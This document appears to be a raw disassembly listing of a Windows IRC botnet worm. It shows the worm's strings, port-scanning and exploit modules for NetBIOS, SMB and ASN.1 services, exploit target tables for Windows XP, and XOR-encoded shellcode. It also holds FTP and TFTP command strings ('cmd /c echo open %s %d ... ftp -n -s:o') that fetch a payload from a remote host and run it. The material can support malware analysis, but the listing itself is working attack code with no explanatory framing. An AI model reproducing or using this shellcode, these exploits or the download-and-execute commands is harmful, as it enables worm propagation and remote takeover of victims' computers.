___:0042DD74o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042DD70o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042DD6Co aArbia db 'Arbia',0 ; DATA XREF: ___:0042DD68o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042DD64o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DD60o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DD5Co align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DD58o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042DD54o align 10h aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042DD50o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042DD4Co align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042DD48o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042DD44o align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042DD40o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042DD3Co align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042DD38o align 10h aAmaral db 'Amaral',0 ; DATA XREF: ___:0042DD34o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042DD30o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042DD2Co aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042DD28o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042DD24o align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042DD20o aAleks db 'Aleks',0 ; DATA XREF: ___:0042DD1Co align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042DD18o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042DD14o align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042DD10o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042DD0Co align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042DD08o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042DD04o align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042DD00o align 10h aAddison db 'Addison',0 ; DATA XREF: ___:off_42DCFCo aAdams db 'Adams',0 ; DATA XREF: ___:0042DCF8o align 10h aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042DCF4o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42DCF0o align 4 byte_431948 db 50h ; DATA XREF: ___:0040ADF0o ; ___:0040ADFDr db 43h, 2 dup(0) dword_43194C dd 7C7325h ; DATA XREF: ___:0040AE9Bo dword_431950 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA5o dword_431958 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Co ; sub_41AA43:loc_41AB06o dword_43195C dd 334B32h ; DATA XREF: ___:0040AF95o dword_431960 dd 5058h ; DATA XREF: ___:0040AF87o ; sub_41AA43+AAo dword_431964 dd 4B32h ; DATA XREF: ___:0040AF77o ; sub_41AA43+98o dword_431968 dd 454Dh ; DATA XREF: ___:0040AF5Eo ; sub_41AA43+7Eo dword_43196C dd 3839h ; DATA XREF: ___:0040AF4Eo ; sub_41AA43+6Co dword_431970 dd 544Eh ; DATA XREF: ___:0040AF3Eo ; sub_41AA43+5Ao dword_431974 dd 3539h ; DATA XREF: ___:0040AF30o ; sub_41AA43+46o dword_431978 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEB+3Ao dword_431980 dd 5D4D5Bh ; DATA XREF: sub_40AFEB+2Co ; sub_40AFEB+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEB+18o ; sub_418212+5o align 4 jmp short loc_431990 ; --------------------------------------------------------------------------- loc_43198E: ; CODE XREF: ___:loc_431990p jmp short loc_431995 ; --------------------------------------------------------------------------- loc_431990: ; CODE XREF: ___:0043198Cj call loc_43198E loc_431995: ; CODE XREF: ___:loc_43198Ej pop ebx xor ecx, ecx mov cx, 0FFFFh loc_43199C: ; CODE XREF: ___:004319A1j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_43199C add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4319B2: ; CODE XREF: ___:004319B7j xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4319B2 ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_431A54 jnz short loc_431A40 retn ; --------------------------------------------------------------------------- loc_431A40: ; CODE XREF: ___:00431A3Dj ; ___:00431A4Dj call near ptr loc_431A45+1 loc_431A45: ; CODE XREF: ___:loc_431A40p add [edx+0], ch call sub_431A54 jz loc_431A40 retn ; =============== S U B R O U T I N E ======================================= sub_431A54 proc near ; CODE XREF: ___:00431A38p ; ___:00431A48p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_431A54 endp ; --------------------------------------------------------------------------- align 10h dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B385+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B385+35o align 8 aSym db 'sym',0 ; DATA XREF: sub_40C125+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DB+30o align 4 dd 5 dup(0) dword_431B00 dd 0B97h ; DATA XREF: sub_401ACD+1DA1r ; sub_401ACD+1DCAo ... off_431B04 dd offset sub_40E0D1 ; DATA XREF: sub_40C125+1EAr dword_431B08 dd 0 ; DATA XREF: sub_40B64B+2Eo ; ___:0040D496w ... dword_431B0C dd 1 ; DATA XREF: sub_40BACE+1Fr dword_431B10 dd 1 ; DATA XREF: sub_40BACE+3B3r dword_431B14 dd 0 ; DATA XREF: sub_40BACE+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E207h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 10h dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Fh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 10h dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Fh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 10h dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2DAh, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 10h dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2DAh, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 10h dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2DAh, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 10h db 2 dup(0) byte_431CE2 db 1 ; DATA XREF: sub_401ACD:loc_4037E7r ; sub_401ACD+1D24o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431D0E ; =============== S U B R O U T I N E ======================================= sub_431CFE proc near ; CODE XREF: sub_431CFE:loc_431D0Ep pop edx dec edx xor ecx, ecx mov cx, 166h loc_431D06: ; CODE XREF: sub_431CFE+Cj xor byte ptr [edx+ecx], 99h loop loc_431D06 jmp short loc_431D13 ; --------------------------------------------------------------------------- loc_431D0E: ; CODE XREF: ___:00431CFCj call sub_431CFE loc_431D13: ; CODE XREF: sub_431CFE+Ej jo short near ptr dword_431C9C+12h cwde cdq cdq retn sub_431CFE endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64B+86o align 10h dword_431E90 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64B+46o unk_431E9C db 2Dh ; - ; DATA XREF: sub_40B64B+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_431EBC db 2Dh ; - ; DATA XREF: sub_40B71A+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431F04 db 2Dh ; - ; DATA XREF: sub_40B786+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 10h aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DB+7Fo dword_431F40 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DB+40o dword_431F50 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DB+14o dd 7473694Ch, 3Ah unk_431F6C db 2Dh ; - ; DATA XREF: ___:0040BA14o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_431FA0 db 2Dh ; - ; DATA XREF: ___:0040B922o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 10h unk_431FD0 db 2Dh ; - ; DATA XREF: sub_40BA57+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 10h unk_431FF0 db 2Dh ; - ; DATA XREF: sub_40BA57+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_43200C db 2Dh ; - ; DATA XREF: sub_40BACE+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 10h unk_432040 db 2Dh ; - ; DATA XREF: sub_40BACE+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_432078 db 2Dh ; - ; DATA XREF: sub_40BACE+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 4 unk_4320A8 db 2Dh ; - ; DATA XREF: sub_40BACE+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_4320DC db 2Dh ; - ; DATA XREF: sub_40BACE+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 10h unk_432110 db 2Dh ; - ; DATA XREF: sub_40BACE+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_432144 db 2Dh ; - ; DATA XREF: sub_40C125+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_43216C db 2Dh ; - ; DATA XREF: sub_40C125+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_4321A4 db 2Dh ; - ; DATA XREF: sub_40C125+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_4321E4 db 2Dh ; - ; DATA XREF: sub_40C125+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_43221C db 2Dh ; - ; DATA XREF: sub_40C125+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_432250 db 2Dh ; - ; DATA XREF: sub_40C125+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_432284 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59C+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 10h db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADB+B2o align 4 dword_432338 dd 10FF8h, 0 ; DATA XREF: sub_40CADB+6Ao dword_432340 dd 10FF8h ; DATA XREF: sub_40CADB+79o dword_432344 dd 7FFDF020h, 0 ; DATA XREF: sub_40CADB+162o dword_43234C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF05+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4323D4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF05+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_432404 dd 0 ; DATA XREF: sub_40CF05+44o dd 800000D4h, 0 unk_432410 db 81h ; ; DATA XREF: sub_40CFDF+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_43245C db 41h ; DATA XREF: sub_40D07D+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_4324A0 proc near ; DATA XREF: ___:0040D35Co push ebx push esi push edi sub sp, 80h mov esi, esp call sub_43259C push dword ptr [esi] push 63D61209h call sub_4325B2 mov [esi+8], eax call sub_432565 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4325B2 mov [esi+0Ch], eax call sub_432517 push dword ptr [esi+4] push 4C0297FAh call sub_4325B2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4324A0 endp ; =============== S U B R O U T I N E ======================================= sub_432517 proc near ; CODE XREF: sub_4324A0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_432540 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_432517 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432540 proc near ; CODE XREF: sub_432517+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_43254F: ; CODE XREF: sub_432540+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_43255C inc ebx jmp short loc_43254F ; --------------------------------------------------------------------------- loc_43255C: ; CODE XREF: sub_432540+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_432540 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432565 proc near ; CODE XREF: sub_4324A0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_43257D: ; CODE XREF: sub_432565+1Ej cmp [ecx], ebx jz short loc_432585 mov ecx, [ecx] jmp short loc_43257D ; --------------------------------------------------------------------------- loc_432585: ; CODE XREF: sub_432565+1Aj mov edx, edi loc_432587: ; CODE XREF: sub_432565+2Aj cmp [edx+4], ebx jz short loc_432591 mov edx, [edx+4] jmp short loc_432587 ; --------------------------------------------------------------------------- loc_432591: ; CODE XREF: sub_432565+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_432565 endp ; =============== S U B R O U T I N E ======================================= sub_43259C proc near ; CODE XREF: sub_4324A0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_43259C endp ; =============== S U B R O U T I N E ======================================= sub_4325B2 proc near ; CODE XREF: sub_4324A0+16p ; sub_4324A0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4325C8: ; CODE XREF: sub_4325B2+33j jecxz short loc_432602 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4325D5: ; CODE XREF: sub_4325B2+2Dj lodsb cmp al, ah jz short loc_4325E1 ror edi, 0Dh add edi, eax jmp short loc_4325D5 ; --------------------------------------------------------------------------- loc_4325E1: ; CODE XREF: sub_4325B2+26j cmp edi, [esp+20h+arg_0] jnz short loc_4325C8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_432602: ; CODE XREF: sub_4325B2:loc_4325C8j ; sub_4325B2:loc_432602j jmp short loc_432602 sub_4325B2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_432608 proc near ; DATA XREF: ___:0040D30Ao arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_43265A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_432625: ; CODE XREF: sub_432608+38j jecxz short loc_432655 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_432630: ; CODE XREF: sub_432608+32j lodsb test al, al jz short loc_43263C ror edx, 0Dh add edx, eax jmp short loc_432630 ; --------------------------------------------------------------------------- loc_43263C: ; CODE XREF: sub_432608+2Bj cmp edx, [esp+arg_0] jnz short loc_432625 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_432655: ; CODE XREF: sub_432608:loc_432625j mov [esp+arg_0], ebx retn sub_432608 endp ; =============== S U B R O U T I N E ======================================= sub_43265A proc near ; CODE XREF: sub_432608+7p ; FUNCTION CHUNK AT 00432692 SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_432673 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_43267E ; --------------------------------------------------------------------------- loc_432673: ; CODE XREF: sub_43265A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_43267E: ; CODE XREF: sub_43265A+14j pop edi xor esi, esi pusha push esi jmp short loc_432692 sub_43265A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432685 proc near ; CODE XREF: sub_43265A:loc_432692p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_432685 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43265A loc_432692: ; CODE XREF: sub_43265A+29j call sub_432685 loc_432697: ; DATA XREF: sub_40CADB+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_43265A ; --------------------------------------------------------------------------- dw 0 dword_43269C dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADB+2F5o dword_4326A8 dd 30h ; DATA XREF: sub_40CADB+2CAo dword_4326AC dd 0A1h ; DATA XREF: sub_40CADB+29Fo dword_4326B0 dd 3 ; DATA XREF: sub_40CADB+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADB+153o align 4 loc_4326BC: ; DATA XREF: sub_40CADB+E8o jmp short near ptr dword_4326C4 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_4326C4 dd 0 ; CODE XREF: ___:loc_4326BCj aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D331o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h dword_432730 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Co ; --------------------------------------------------------------------------- loc_43273C: ; CODE XREF: ___:00432746j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_43273C inc edi jz short loc_432783 and eax, 952CE753h inc esp jle short loc_4327AB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_432783: ; CODE XREF: ___:00432749j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_4327E2+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4327A8: ; CODE XREF: ___:004327D5j xor [esi-25h], bl loc_4327AB: ; CODE XREF: ___:00432751j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_4327C4: ; CODE XREF: ___:004327F7j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4327A8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_4327E2: ; CODE XREF: ___:00432789j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_43286E jo short loc_4327C4 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_432805+1 add bl, [edi] loc_432805: ; CODE XREF: ___:00432801j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_43281A+2 cmp ch, bh dec edx loc_43281A: ; CODE XREF: ___:00432815j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_43286E: ; CODE XREF: ___:004327F5j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_4328F4 sub al, 0BCh jmp near ptr 54452C62h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_432890 dd 0EFFFC481h, 44FFFFh, 4328DCh ; DATA XREF: ___:0040DC33o dword_43289C dd 42Ah ; DATA XREF: ___:0040DBE6r dword_4328A0 dd 3E8h ; DATA XREF: ___:0040DC57r dword_4328A4 dd 258h ; DATA XREF: ___:0040DC29r byte_4328A8 db 1 ; DATA XREF: ___:0040DB92r ; ___:0040DC60r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4328C0 dd 20804h ; DATA XREF: sub_40D8A0r ___:0040DC7Eo ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004328ACo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_4328F4: ; CODE XREF: ___:00432878j push eax xor al, 29h loc_4328F7: ; DATA XREF: ___:0040DBBAo add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_432900 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAEAo dword_432914 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Eo aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Do align 4 aSIpc db '\\%s\ipc$',0 align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE3+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii 